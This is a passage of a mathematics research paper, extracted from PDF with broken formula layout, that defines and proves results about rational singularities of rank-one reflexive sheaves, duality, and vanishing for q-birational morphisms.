+sheaf on X. Suppose that f : X′ → X is a resolution. Then we have a natural map
+θF,f : Rf∗(f ∗F)D → RHomOX(F, ω•
+X)[− dim X].
+Definition 1.2 (See Definition 4.3). Let X be any normal variety and F any reflexive
+sheaf on X. We say that F has weak rational singularities if θF,f in Proposition 1.1 is a
+quasi-isomorphism for the F and for any resolution f : X′ → X.
+For the definition of the dual F D of F, see Definition 3.1. Our definition of weak
+rational singularities does not require F to be CM. One can define a much stronger
+notion of rational singularities as the following.
+Definition 1.3 (See Corollary 4.7). Let X be any normal variety and F any reflexive
+sheaf on X which has weak rational singularities.
+(a) If F is CM, we say F has rational singularities.
+(b) We say that a Weil divisor D on X has rational singularities if OX(D) has rational
+singularities.
+(c) We say that F is (KVq) if the support of Rif∗(f ∗F)D has codimension ≥ i+q+1
+for any i ≥ 1 and any resolution f : X′ → X.
+One of the fundamental properties of klt and strongly F-regular varieties are that all
+klt varieties over a characteristic 0 field and strongly F-regular varieties over a positive
+characteristic field have rational singularities (see [Elk81], [KMM87] and [HW19]). One
+may extend the theorems as follows:
+Proposition 1.4 (See Proposition 4.15). Let X be any normal variety over a character-
+istic 0 field, ∆ any effective Q-Weil divisor such that (X, ∆) is klt and D any Q-Cartier
+Weil divisor on X. Then D has rational singularities.
+Proposition 1.5 (See Proposition 4.17). Let X be any strongly F-regular variety over
+a positive characteristic field and D any Weil divisor such that there is an integer r such
+that rD is linearly equivalent to a Cartier divisor and r is relatively prime to p. Then
+D has rational singularities.
+Our notion of rational singularities is well-behaved under finite ´etale morphism.
+Proposition 1.6 (See Proposition 4.19). Let X, Y be normal varieties over characteristic
+0 field, p : Y → X any finite ´etale morphism and F any reflexive sheaf on X. If p∗F
+has (resp. weak) rational singularities, then F has (resp. weak) rational singularities.
+For a normal variety X, one may want to measure how far a non-rational singularity
+is from being rational. For this purpose, the notion of non-rational locus is defined in
+[AH12] and [Kov11]. The following definition is a candidate for the analog of that notion.
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+3
+Definition 1.7. Let X be any normal variety and F any reflexive sheaf on X. We say
+that F is (RSq) if for any point x ∈ X with codimX x ≤ q and any resolution f : X′ → X,
+θF,f is a quasi-isomorphism after localizing θF,f at x.
+By adopting the idea of proof of Lemma 3.3 in [Kov99], we can define the notion of
+(Bq+1) and prove a duality theorem.
+Definition 1.8 (See Definition 5.1). Let X be any normal variety and F any reflexive
+sheaf on X. We say F is (Bq+1) if Hi
+x(X, F) = 0 for any dim X − q < i < dim X and
+any closed point x ∈ X.
+Theorem 1.9 (See Theorem 5.2). Let X be any normal projective variety and F any
+reflexive sheaf on X, which is (RSq) and (KVq). Then the following are equivalent:
+(a) F is (Sq+1).
+(b) For any resolution f : X′ → X such that for any 1 ≤ i < q, Rif∗(f ∗F)DD = 0.
+(c) F D is (Bq+1).
+Corollary 1.10 (See Corollary 5.4). Assume that q ≥
+� dim X+1
+2
+�
+. Let X be any normal
+Q-factorial variety over a characteristic 0 field with (Rq) and any Weil divisor on X is
+(Sq+1). Then any Weil divisor on X is CM. In particular, X is CM itself.
+The above theorem can be used to generalize Theorem 3.4 in [Kim22] such as the
+following.
+Definition 1.11 (See Definition 6.1). Let X, X′ be any normal varieties and f : X′ → X
+any proper birational morphism.
+(a) The center of f is the reduced closed subscheme C of X which is the image of
+exceptional locus along f.
+(b) We say f is a q-birational morphism if the exceptional locus has codimension 1
+and the center of f has codimension ≥ q + 1.
+Theorem 1.12 (See Theorem 6.4). Let X, X′ be any normal projective varieties over
+a field of characteristic 0 and f : X′ → X any q-birational morphism in which X′ is
+smooth. Suppose that D is any anti f-nef divisor on X′ such that f∗D is Q-Cartier and
+(Sq+1). Then Rif∗OX′(D) = 0 for 1 ≤ i < q.
+Notation 1.13. Given any normal varieties X, X′ with any proper morphism f : X′ → X
+and any (not necessarily closed) point x ∈ X, we write X′
+x := X′ ×X Spec OX,x, dim x
+for the dimension of the closure of x and codimX x := dim X − dim x.
+For any coherent sheaves F, F ′ on X, X′ respectively and the inclusion  : X′
+x → X′,
+write F ′
+x := j∗F ′. In addition to that, set OX′,x := (OX′)x and ωX′,x := (ωX′)x. Note
+that if f : X′ → X is a resolution of X, then X′
+x is a regular scheme.
+For simplicity, if i ≥ 0, a point x ∈ X and a coherent sheaf F on X is given, set
+Hi
+x(X, F) := Hi
+x(Xx, Fx).
+
+4
+DONGHYEON KIM
+Also, under the same conditions of the above, if a resolution f : X′ → X and a coherent
+sheaf F ′ on X′ is given, let
+Hi
+f−1(x)(X′, F ′) := Hi
+f−1(x)(X′
+x, F ′
+x).
+For a noetherian scheme X with a dualizing complex, ω•
+X denotes the normalized
+dualizing complex.
+The rest of the paper is organized as follows. We begin Section 2 by defining some
+basic notions and by stating and proving basic theorems. Section 3 is devoted to proving
+basic results about reflexive sheaves. In Section 4, we define (weak) rational singularities
+and prove some basic theorems. In section 5, we define the notion of (Bq+1) and prove the
+main theorem about that notion. Section 6 is devoted to defining q-birational morphism
+and proving the main theorems about q-birational morphism.
+Acknowledgments. The author thanks his advisor Sung Rak Choi for his comments,
+questions, and discussions. He is grateful for their hospitality. The author is grateful to
+S´andor Kov´acs for his helpful comments on an earlier version of this paper.
+2. Preliminaries
+The section is devoted to collecting basic definitions and facts used in the paper.
+Definition 2.1. Let X be any normal variety and F any torsion-free sheaf on X.
+(a) We say F is (Rq) if there is an open subscheme U ⊆ X of X such that codimX(X\
+U) ≥ q + 1, U is smooth and F|U is a vector bundle on U
+(b) We say X is (Rq) if OX is (Rq).
+(c) We say F is (Sq+1) if Hi
+x(X, F) = 0 for i < min{q + 1, codimX x} and any point
+x ∈ X.
+(d) We say F is Cohen-Macaulay (CM) if F is (Sdim X).
+(e) We say X is Cohen-Macaulay (CM) if OX is CM.
+(f) We say F is reflexive if F is (S2).
+Remark 2.2. If X is any normal variety with (Rq), then any reflexive sheaf on X
+of rank 1 is also (Rq).
+An analogue for (Sq+1) does not hold.
+Indeed, let X :=
+Spec k[x, y, z, w]/(xy − zw). Then X is CM but not any reflexive sheaf on X of rank 1
+is not CM. See 3.15 in [Kol13].
+We will use derived category machinery in the paper, especially in Section 4 and
+Section 5. Hence, it is worth stating the local duality and the Grothendieck duality.
+Theorem 2.3 (See Lemma 0AAK in [Stacks]). Let X be any noetherian schemes that
+has a dualizing complex, x ∈ X any closed point and E the injective hull of the residue
+field of OX,x. Then
+Ext−i
+OX,x(K, ω•
+X)∧
+x ∼= HomOX,x(Hi
+x(X, K), E)
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+5
+for any i and K ∈ D(X), where (−)∧
+x denotes the completion along the maximal ideal
+mX,x of OX,x and D(X) denotes the derived category of bounded complexes of coherent
+sheaves on X.
+Theorem 2.4 (See 0AU3, (4) in [Stacks]). Let X, X′ be any noetherian schemes that
+have dualizing complexes and f : X′ → X any proper morphism of varieties. For any
+K ∈ D(X′),
+RHomOX(Rf∗K, ω•
+X) ∼= Rf∗RHomOX′(K, ω•
+X′) in D(X).
+The following theorem is well-known as the relative Kawamata-Viehweg vanishing
+theorem.
+Theorem 2.5 (See [KMM87], Theorem 1-2-3). Let X′ any smooth projective variety over
+a field of characteristic 0 and X any projective variety. Let f : X′ → X be any proper
+birational morphism. For any f-nef Cartier divisor D on X′, Rif∗OX′(KX′ + D) = 0
+for i ≥ 1.
+Let us prove the following duality result. For a similar lemma, see Proposition 11.6 in
+[Kol97].
+Lemma 2.6. Let f : X′ → X be any proper birational morphism between normal vari-
+eties and E any vector bundle on X′. Fix any point x ∈ X. Suppose X′ is Gorenstein.
+Then for i ≥ 0, (Rif∗E)x = 0 if and only if HcodimX x−i
+f−1(x)
+(X′, ωX′ ⊗ E∨) = 0.
+Proof. Let k be the residue field of OX,x and E the injective hull of k as an OX,x-module.
+We have
+RΓf−1(x)(X′, ωX′ ⊗ E∨) = RΓx(X, Rf∗(ωX′ ⊗ E∨))
+= Homk(RHomOX(Rf∗(ωX′ ⊗ E∨)x, ω•
+X,x), E)
+= Homk(Rf∗RHomOX(ωX′ ⊗ E∨, ωX′)x[codimX x], E)
+= Homk(Rf∗HomOX(ωX′ ⊗ E∨, ωX′)x[codimX x], E)
+= Homk((Rf∗E)x[codimX x], E),
+where we used the Leray spectral sequence in the first equality, the local duality in the
+second equality, the Grothendieck duality in the third equality, the fact that ωX′ is a line
+bundle on X′ in the forth equality. Hence, since E is an injective OX,x-module, we have
+the assertion.
+□
+Let us prove the following corollary.
+Corollary 2.7 (See Lemma 3.5.10 in [Nak04] and Corollary 11.7 in [Kol97]). Let X be
+any normal projective variety over a field of characteristic 0, f : X′ → X any resolution
+of X and D any divisor on X′, which is anti f-nef. Then f∗OX′(D) = OX(f∗D).
+Proof. Note that by definition, OX(f∗D) := (f∗OX′(D))∨∨. Hence, it suffices to show
+that f∗OX′(D) is reflexive. Let x ∈ X be any point of codimension ≥ 2.
+
+6
+DONGHYEON KIM
+Consider the following spectral sequence
+Est
+2 = Hs
+x(X, Rtf∗OX′(D)) =⇒ Hs+t
+f−1(x)(X′, OX′(D)).
+Inspecting the spectral sequence, we have E10
+2
+= E10
+∞. Hence, by considering the edge
+map E10
+∞ → E1, it suffices to show that H1
+f−1(x)(X′, OX′(D)) = 0. Note that by the
+relative Kawamata-Viehweg vanishing theorem, Rif∗OX(KX′ − D) = 0 for i ≥ 1. Thus,
+by Lemma 2.6, we have the assertion.
+□
+Remark 2.8. Note that it is a special case of [Nak04], Lemma 3.5.10. Nakayama proved
+the lemma using the relative Zariski decomposition.
+We may use the following lemma without any mention.
+Lemma 2.9 (See Lemma 2.2 in [BMP+20]). For any normal variety X and any coherent
+sheaf F on X, we have
+HomOX(F, ω•
+X)[− dim X] = HomOX(F, ωX).
+Proof. We may consider the following exact triangle
+ωX[− dim X] → ω•
+X → C →
+for some complex C in D(X). If we apply RHomOX(F, −) to this triangle, we obtain
+the following exact triangle
+RHomOX(F, ωX[− dim X]) → RHomOX(F, ω•
+X) → RHomOX(F, C) → .
+Note that C has cohomological degree ≥ 1 and hence HomOX(F, C) = 0. Thus, the long
+exact cohomology sequence gives us the assertion.
+□
+3. Reflexive sheaves
+In this section, we collect important facts about reflexive sheaves. For a variety X,
+the generic point η ∈ X and a coherent sheaf F on X, rank F denotes the dimension of
+Fη over the function field of X.
+Definition 3.1 (See [HL10], Definition 1.1.7). Let X be any variety and F any coherent
+sheaf on X. We define F D := HomOX(F, ωX).
+Remark 3.2. Under the setting of Definition 3.1, for any normal Gorenstein variety X
+and reflexive sheaf F on X, F D = F ∨ ⊗ ωX. Moreover, we can construct a natural map
+F → F DD. Indeed, for any local section a ∈ F, consider a map
+ϕ : F → F DD, a �→ (f �→ f(a)) for f ∈ F D := HomOX(F, ωX).
+Now, let us prove the following two lemmas.
+Lemma 3.3. Let X be any normal variety and F any coherent sheaf on X. Then the
+following are equivalent:
+(a) F is torsion-free.
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+7
+(b) The map F → F DD is injective.
+Proof. It is worth noting that for any variety X, ωX is (S2).
+See Lemma 0AWE in
+[Stacks]. Hence, if X is normal, then ωX is reflexive.
+If F is torsion-free, then the kernel K of the map is torsion-free because any subsheaf of
+a torsion-free sheaf is also torsion-free. Moreover, since ωX is reflexive, F DD is torsion-
+free by Lemma 0AY4 in [Stacks].
+Consider the fact that for every point x ∈ X of
+codimension 1, Fx → F DD
+x
+is an isomorphism. Then K = 0 because rank K = 0.
+For the converse, since ωX is torsion-free, F DD is torsion-free. Hence, by our assump-
+tion, F is torsion-free because any subsheaf of a torsion-free sheaf is also torsion-free.
+□
+Lemma 3.4. Let X be any normal variety and F any torsion-free sheaf on X. Then
+the following are equivalent:
+(a) F is reflexive.
+(b) The natural map F → F DD is an isomorphism.
+Proof. Let us assume that F is reflexive. By Lemma 0AY4 in [Stacks], we know that
+F DD is also reflexive and F → F DD is an isomorphism outside codimension ≥ 2 closed
+subscheme of X. Hence the map is an isomorphism by [Har94], Proposition 1.11.
+For the converse, let E1 → E0 → F D → 0 be any resolution of F in which E0, E1 are
+vector bundles. By taking HomOX(−, ωX), we have the following exact sequence
+0 → F ∼= F DD → ED
+0 → ED
+1
+and ED
+i
+are reflexive for i = 0, 1. Hence, F is reflexive.
+□
+Remark 3.5. If X is not normal, then such equivalence is false. See Remark 0AY1 in
+[Stacks].
+Let us note an important fact about reflexive sheaves.
+For any normal variety X
+and any reflexive sheaf F on X, F is a vector bundle outside codimension ≥ 2 closed
+subscheme of X. See Lemma 0AY6 in [Stacks].
+We will use the following lemmas without any mention. We believe that the three
+following lemmas are well-known to experts but we can not find any reference about
+them. Hence we include the proofs of them.
+Lemma 3.6. Let X be any variety and ϕ : F → G any map between torsion-free sheaves
+on X. Suppose that ϕ is an isomorphism outside codimension ≥ 1 closed subscheme of
+X. Then ϕ is an injection.
+Proof. Let K be the kernel of ϕ. Note that K is a subsheaf of a torsion-free sheaf F. By
+the condition on ϕ, rank K = 0 and hence K = 0, because any subsheaf of torsion-free
+sheaf is also torsion-free.
+□
+Lemma 3.7. Let X, X′ be any normal varieties and f : X′ → X any proper birational
+morphism. Suppose that F is any reflexive sheaf on X. Then F ∼= f∗(f ∗F)DD.
+
+8
+DONGHYEON KIM
+Proof. Let us consider the adjunction property
+HomOX(F, f∗(f ∗F)DD) ∼= f∗HomOX′(f ∗F, (f ∗F)DD)
+and the map f ∗F → (f ∗F)DD.
+Then we can construct the following map F →
+f∗(f ∗F)DD.
+Note that the map is an injection because it is an isomorphism on the
+regular locus of X and F, f∗(f ∗F)DD are torsion-free sheaves.
+Let Q be the cokernel. Then we have the following exact sequence
+0 → F → f∗(f ∗F)DD → Q → 0.
+Note that the support of Q has codimension ≥ 2. Let x ∈ X be any point of codimension
+≥ 2. Then the local cohomology exact sequence tells us that H0
+x(X, Q) = 0. Hence x is
+not an associated point of Q. Thus Q = 0.
+□
+Lemma 3.8. Let X, Y be any normal varieties and p : X′ → X any proper flat mor-
+phism. Suppose that F is any coherent sheaf on X. Then (p∗F)DD = p∗(F DD).
+Proof. Note that the pullback of a reflexive sheaf along a flat morphism is also reflexive.
+See Proposition 1.8 in [Har80].
+Considering a natural map F → F DD, we have a map ϕ : (p∗F)DD → p∗(F DD). We
+know that both (p∗F)DD, p∗(F DD) on Y are reflexive and ϕ is an isomorphism outside
+codimension ≥ 2 closed subscheme of Y . Hence by [Har94], Proposition 1.11, we have
+the assertion.
+□
+4. Rational singularities
+From this section and to the end of the paper, any reflexive sheaf is assumed to be of
+rank 1 unless otherwise stated.
+Proposition 4.1. Let X be any normal variety and F any reflexive sheaf on X. Suppose
+that f : X′ → X is a resolution. Then we have a natural map
+θF,f : Rf∗(f ∗F)D → RHomOX(F, ω•
+X)[− dim X]
+Moreover, the following are equivalent:
+(a) θF,f is a quasi-isomorphism.
+(b) Rif∗(f ∗F)DD = 0 for i ≥ 1.
+(c) The natural map
+Hi
+x(Xx, Fx) → Hi
+f−1(x)(X′
+x, (f ∗F)DD
+x
+)
+is an isomorphism for each i ≥ 0 and each point x ∈ X.
+Proof. Note that the proof of Lemma 3.7 is inspired by the argument in the proof in
+[ST08].
+Let us prove (a) ⇐⇒ (b). Consider a map F ∼= f∗(f ∗F)DD → Rf∗(f ∗F)DD. We may
+take RHomOX(−, ω•
+X) on the map and it gives
+RHomOX(Rf∗(f ∗F)DD, ω•
+X) → RHomOX(F, ω•
+X).
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+9
+Now, we may compute the left-hand side by the Grothendieck duality. Indeed,
+RHomOX(Rf∗(f ∗F)DD, ω•
+X) = Rf∗RHomOX′((f ∗F)DD, ωX′)[dim X]
+= Rf∗HomOX′((f ∗F)DD, ωX′)[dim X]
+= Rf∗(f ∗F)D[dim X],
+where we used the fact that (f ∗F)DD is a line bundle on X′ on the second equality.
+Hence we have a map
+θF,f : Rf∗(f ∗F)D → RHomOX(F, ω•
+X)[− dim X].
+If (b) is true, then F ∼= Rf∗(f ∗F)DD. Thus θF,f is a quasi-isomorphism and (a) is true.
+For the converse, we may take RHomOX(−, ω•
+X) on θF,f. See 0AU3 (3) in [Stacks].
+For (a) ⇐⇒ (c), we may take the local duality to θF,f. Indeed, the dual of θF,f is
+RΓx(Xx, Fx) → RΓx(Xx, Rf∗(f ∗F)DD)
+and the right hand side is RΓf−1({x})(X′
+x, (f ∗F)DD) by the Leray spectral sequence.
+□
+Remark 4.2. If we use the notions of Proposition 4.1, H0(θF,f) is
+H0(θF,f) : f∗(f ∗F)D → F D = HomOX(F, ωX).
+If we let F = OX, then H0(θF,f) is the trace map introduced in [KM98], Proposition
+5.77.
+Definition 4.3. Let X be any normal variety and F any reflexive sheaf on X. We say
+that F has weak rational singularities if one of the conditions in Proposition 1.1 is true
+for the F and for any resolution f : X′ → X.
+It is worth saying that for characteristic 0 case, the choice of resolution is not important
+to the definition of weak rational singularities.
+Proposition 4.4. Let X be any normal variety over a characteristic 0 field and F any
+reflexive sheaf on X. Then F has weak rational singularities if and only if for some
+resolution f : X′ → X, Rif∗(f ∗F)DD = 0 for i ≥ 1.
+Proof. For the if direction, let g : X′′ → X be a resolution.
+Our goal is to show
+Rig∗(g∗F)DD = 0 for i ≥ 1. Let us choose any common resolution
+X′′′
+X′
+X′′
+X.
+f′
+g′
+f
+g
+We may consider the following maps
+(f ◦ f ′)∗F → (f ′)∗(f ∗F)DD → ((f ◦ f ′)∗F)DD.
+
+10
+DONGHYEON KIM
+By taking double dual on the maps, we have maps
+((f ◦ f ′)∗F)DD → (f ′)∗(f ∗F)DD → ((f ◦ f ′)∗F)DD.
+Note that the composition is the identity. Since the above maps are injections, we have
+(f ′)∗(f ∗F)DD = ((f ◦ f ′)∗F)DD.
+Consider the following spectral sequence
+Est
+2 = Rsf∗Rt(f ′)∗(f ′)∗(f ∗F)DD =⇒ Rs+t(f ◦ f ′)(f ∗((f ′)∗F)DD),
+by the fact that Ri(f ′)∗OX′′′ = 0 for i ≥ 1 and the projection formula, we have
+Rif∗(f ∗F)DD = Ri(f ◦ f ′)∗((f ◦ f ′)∗F)DD for i ≥ 0.
+In the same way, we have
+Rig∗(g∗F)DD = Ri(g ◦ g′)∗((g ◦ g′)∗F)DD for i ≥ 0.
+Hence, we have the assertion. The only if direction is trivial.
+□
+Remark 4.5. We can not prove the above proposition on a positive characteristic field
+because the existence of a common resolution is largely unknown in such a setting. If X
+is threefold, we can prove the above proposition.
+Lemma 4.6. Let X be any normal variety and F any reflexive sheaf on X which has
+weak rational singularities.
+Then for any resolution f : X′ → X, the following are
+equivalent:
+(a) F is (Sq+1).
+(b) The support of Rif∗(f ∗F)D has codimension ≤ i + q + 1 for any i ≥ 1 and for
+some resolution f : X′ → X of X.
+(c) The support of Rif∗(f ∗F)D has codimension ≤ i + q + 1 for any i ≥ 1 and any
+resolution f : X′ → X of X.
+Proof. For (a) =⇒ (c), by our assumption, there is an isomorphism
+θF,f : Rf∗(f ∗F)D ∼= RHomOX(F, ω•
+X)[− dim X].
+Moreover, for any point x ∈ X with codimX x ≤ i + q, HcodimX x−i
+x
+(X, F) = 0 holds,
+because F is (Sq+1). Hence, by the local duality, Ext− codimX x+i
+OX,x
+(Fx, ω•
+X,x) = 0 for such i.
+Thus, Rif∗(f ∗F)D
+x = 0 and the support of Rif∗(f ∗F)D does not contain x. (c) =⇒ (b)
+is trivial.
+For (b) =⇒ (a), let us consider a point x ∈ X. If codimX x ≤ q, then Rif∗(f ∗F)D
+x = 0
+and Ext− codimX x+i
+OX,x
+(Fx, ω•
+X,x) = 0 hold for any i ≥ 1. Hence, the local duality gives
+HcodimX x−i
+x
+(X, F) = 0 for any i ≥ 1.
+If codimX x ≥ q + 1 and Rif∗(f ∗F)D
+x = 0, by the local duality, HcodimX x−i
+x
+(X, F) = 0.
+Moreover, if codimX x − i < q, then Rif∗(f ∗F)D
+x = 0. Hence, for 0 ≤ j < q, Hj
+x(X, F) =
+0.
+□
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+11
+Corollary 4.7. Let X be any normal variety and F any reflexive sheaf on X which has
+weak rational singularities. Then the following are equivalent:
+(a) F is CM.
+(b) For a resolution f : X′ → X, Rif∗(f ∗F)D = 0 for i ≥ 1.
+(c) For any resolution f : X′ → X, Rif∗(f ∗F)D = 0 for i ≥ 1.
+Now, we can define the notion of rational singularities for any reflexive sheaf of rank
+1.
+Definition 4.8. Let X be any normal variety, F any reflexive sheaf on X.
+(a) We say that F has rational singularities if F has weak rational singularities and
+one of the conditions in Corollary 4.7 is true for any resolution f : X′ → X.
+(b) We say that a Weil divisor D on X has rational singularities if OX(D) has rational
+singularities.
+(c) We say that F is (KVq) if for any resolution f : X′ → X, the support of
+Rif∗(f ∗F)D has dimension ≥ i + q + 1 for any i ≥ 1.
+Remark 4.9. The above definitions are similar to Definition 2.5 in [Kov11] and Definition
+2.78 in [Kol13]. However, there are four main differences.
+• We used double dual to define the notion of rational singularities instead of strict
+transform. Thus the notion of normal pair in [Kov11] is unnecessary.
+• It is obvious that some Cartier divisor on X has rational singularities in our
+sense if and only if X has rational singularities. In contrast to our notion, it
+is far from obvious that for some reduced, effective and Cartier divisor D on
+X, (X, D) has rational singularities in the sense of [Kov11] if and only if X has
+rational singularities. For the only if assertion, see Corollary 2.13 in [Kov11].
+Note that the proof of Corollary 2.13 in [Kov11] implicitly used our notion of
+rational singularities.
+• Moreover, we defined the notion of rational singularities for any reflexive sheaf of
+rank 1, not only for reduced Weil divisor.
+• It seems hard to believe a good restriction of a reflexive sheaf with rational
+singularities also has rational singularities unlike Remark 2.85 in [Kol13] because
+our notion is for reflexive sheaves. For treating this problem, one may consider a
+combination of our notion and the notion of [Kov11].
+Remark 4.10. If k is of characteristic 0 and F ∼= OX(D) for some Q-Cartier Weil divisor
+D, we have (f ∗OX(D))D ∼= OX′(KX′ − L) for some Cartier divisor L on X′ and for
+such L, f ∗D ∼Q L. In that setting, −L is f-nef and the relative Kawamata-Viehweg
+vanishing theorem tells us that Rif∗(f ∗F)D = 0 for i ≥ 1. Hence, for such F, having
+weak rational singularities and having rational singularities are the same.
+Example 4.11. If k is of characteristic 0 and F ∼= OX(D) where D is a Weil divisor
+on X which is not Q-Cartier, then having weak rational singularities does not ensure
+having rational singularities.
+
+12
+DONGHYEON KIM
+For example, take X := Spec k[x, y, z, w]/(xy−zw), A := {x = z = 0}, the blowup f :
+X′ → X along A and the exceptional divisor E on X′. We know that f is a small resolu-
+tion and (f ∗OX(−mA))DD = OX′(−mE). Then for m ≫ 0, Rif∗(f ∗OX′(−mA))DD = 0
+for i ≥ 1. Thus −mA has weak rational singularities. However, for m ≥ 2, −mA is not
+CM as in (3.15) in [Kol13] and hence −mA does not have rational singularities.
+Let us prove the following lemma. Similar statements are proved in Lemma 3.2 in
+[Ale08] and Theorem 7.1.1 in [Fuj17].
+Lemma 4.12. Let f : X′ → X be any proper birational morphism of varieties and F, F ′
+any coherent sheaves on X′. For any given positive integer n ≥ 1, suppose the three
+conditions hold:
+(1) There is an injection ı : F → F ′,
+(2) ı induces an isomorphism f∗F ∼= f∗F ′, and
+(3) Rif∗F ′ = 0 for 1 ≤ i < n.
+Then we have Rif∗F = 0 for 1 ≤ i < n.
+Proof. Fix any point x ∈ X and consider the following two spectral sequences
+1Est
+2 = Hs
+x(X, Rtf∗F) =⇒ Hi+j
+f−1(x)(X′, F),
+2Est
+2 = Hs
+x(X, Rtf∗F ′) =⇒ Hi+j
+f−1(x)(X′, F ′).
+By (3), we have 2Ei0
+2 = 2Ei0
+∞ and hence the edge map 2Ei0
+2 → 2Ei is an injection for any
+0 ≤ i ≤ n. If we use (1), then there is a diagram
+1Ei = Hi
+f−1(x)(X′, F)
+2Ei = Hi
+f−1(x)(X′, F ′)
+1Ei0
+2 = Hi
+x(X, f∗F)
+2Ei0
+2 = Hi
+x(X, f∗F ′)
+γi
+αi
+βi
+By (2), γi is an isomorphism for any i. Since βi is an injection for 1 ≤ i ≤ n, αi is also
+an injection for such i.
+Now, we may use induction.
+Indeed, suppose for a positive integer 1 < n′ ≤ n,
+Rif∗F = 0 for 1 ≤ i < n′. Our goal is to show Rn′f∗F = 0. By the induction hypothesis,
+we have 1E0n′
+2
+= 1E0n′
+n
+and 1E(n′+1)0
+2
+= 1E(n′+1)0
+n
+. Hence, there is an exact sequence
+0 → 1E0n′
+2
+→ 1E(n′+1)0
+2
+βn′+1
+→
+1En′+1.
+Since βn′+1 is an isomorphism, we have H0
+x(X, Rn′+1f∗F) = 1E(n′+1)0
+2
+= 0 and hence
+Rn′+1f∗F does not have an associated point as x. Thus Rn′+1f∗F = 0 and we have the
+assertion.
+□
+Now, we have an alternative description of the definition of rational singularities.
+Proposition 4.13. Let X be any normal variety and F any reflexive sheaf on X. Then
+F has rational singularities if and only if for any resolution f : X′ → X, there is a line
+bundle LF,f on X′ such that the three following conditions hold:
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+13
+(i) f∗LF,f = F,
+(ii) Rif∗LF,f = 0 for i ≥ 1, and
+(iii) Rif∗LD
+F,f = 0 for i ≥ 1.
+Proof. For the only if direction, set LF,f := (f ∗F)DD.
+For the if direction, let us consider the counit map f ∗f∗LF,f → LF,f. By taking double
+dual, we have an injection (f ∗f∗LF,f)DD → LF,f. Since (i) holds, f ∗f∗LF,f = f ∗F and
+hence (f ∗f∗LF,f) = (f ∗F)DD. Thus, there is an injection (f ∗F)DD → LF,f.
+Considering Lemma 4.12, (i) and (ii), we have Rif∗(f ∗F)DD = 0 for i ≥ 1. Let us use
+the notations in Lemma 4.12. By (iii) and Lemma 2.6, we have
+Hi
+f−1(x)(X, LF,f) = 0 for i < codimX x.
+Since βi is an isomorphism for i ≥ 1, we have
+Hi
+x(X, F) = Hi
+f−1(x)(X′, LF,f) = 0 for i < codimX x
+and hence F is CM. Thus F has rational singularities.
+□
+Remark 4.14. Proposition 4.13 means that for any normal variety X and any reduced
+Weil divisor D on X, if (X, D) has rational singularities in the sense of [Kov11], then
+−D has rational singularities in our sense.
+Now, we may consider the following two properties.
+Proposition 4.15. Let X any normal variety over a characteristic 0 field, ∆ any ef-
+fective Q-Weil divisor such that (X, ∆) is klt and D any Q-Cartier Weil divisor on X.
+Then D has rational singularities.
+Proof. Indeed, suppose f : X′ → X is any resolution of X and KX′ ∼Q f ∗(KX + ∆) +
+F − F ′, where F is an effective, f-exceptional Cartier divisor and F ′ is a simple normal
+crossing divisor with ⌊F ′⌋ = 0. Then F ∼Q KX′ − f ∗(KX + ∆) + F ′. If we let a divisor
+L on X′ in which OX′(L) = (f ∗OX′(D))DD holds, we have
+F + L ∼Q KX′ + F ′ + (f ∗D − f ∗(KX + ∆)).
+Hence by the relative Kawamata-Viehweg vanishing theorem, Rif∗OX(F +L) = 0. If we
+consider the injection OX(L) → OX(F + L), we have Rif∗OX(L) = 0 by Lemma 4.12
+and hence D has rational singularities.
+□
+Remark 4.16. Note that Proposition 4.15 is a generalization of Corollary 5.25 in [KM98]
+and the proof does not require the cyclic covering theory.
+Proposition 4.17. Let X any strongly F-regular variety over a field of characteristic
+p > 0 and D any Weil divisor such that there is an integer r such that rD is linearly
+equivalent to a Cartier divisor and r is relatively prime to p.
+Then D has rational
+singularities.
+
+14
+DONGHYEON KIM
+Proof. Since having rational singularities is a local property, we may assume X := Spec R
+is an affine scheme and rD ∼ 0. Moreover, by multiplying some integer on r, we may
+take r = pe − 1 for sufficiently large e. Let x ∈ X be a point of X and f : X′ → X any
+resolution. We follow the proof of Theorem 3.1 in [PS14].
+We may equip an endomorphism F e
+∗ : HcodimX x
+x
+(X, OX(D)) → HcodimX x
+x
+(X, OX(D))
+on HcodimX x
+x
+(X, OX(D)) as an endomorphism of an abelian group. Indeed, if we consider
+the inclusion OX ⊆ F e
+∗OX, by tensoring OX(D) and reflexing, we have a map OX(D) →
+F e
+∗ OX(peD). Since (pe −1)D ∼ 0 holds, we have a map OX(D) → F e
+∗ OX(D). Taking lo-
+cal cohomology gives the desired map. Let us call a submodule K ⊆ HcodimX x
+x
+(X, OX(D))
+F-stable if F e
+∗(K) ⊆ K.
+Let K ⊊ HcodimX x
+x
+(X, OX(D)) be any F-stable submodule of HcodimX x
+x
+(X, OX(D))
+and let c ∈ AnnRK be any nontrivial element of AnnRK. Note that such an element
+exists because of the Matlis duality.
+Indeed, if R∧ is the completion of R along x,
+N∧ := R∧N for any R-module N and N′ is the R-module corresponding to OX(D), the
+inclusion K ⊊ HcodimX x
+x
+(X, OX(D)) gives us a surjection
+HomR∧((N′)∧, ωR∧) → HomR∧(K∧, E),
+where E is the injective hull of R∧ (see Theorem 3.5.8 in [BH98]). Since ωR∧, (N′)∧ are
+torsion-free,
+0 ̸= AnnR∧(HomR∧(K∧, E)) = AnnR∧(K∧).
+Now, consider Lemma 07T8 in [Stacks] (note that the natural map R → R∧ is a flat
+map).
+Since X is strongly F-regular, there is a positive integer e′ and a map ϕ : F e′
+∗ OX → OX
+such that the composition
+(4.1)
+OX → F e′
+∗ OX
+F e′
+∗ (·c)
+→
+F e′
+∗ OX
+ϕ→ OX
+is the identity. We may assume e|e′ and hence (pe − 1)|(pe′ − 1). Twisting by OX(D)
+and reflexing on (4.1), we have the following composition which is the identity
+OX(D) → F e′
+∗ OX(pe′D) ∼= F e′
+∗ OX(D) → F e′
+∗ OX(pe′D) ∼= F e′
+X OX(D) → OX(D).
+Now, taking local cohomology gives us
+HcodimX x
+x
+(X, OX(D))
+→HcodimX x
+x
+(X, F e′
+∗ OX(D))
+F e′
+∗ (·c)
+→ HcodimX x
+x
+(X, F e′
+∗ OX(D))
+→HcodimX x
+x
+(X, OX(D)).
+Since K is F-stable and cK = 0 holds, K = 0.
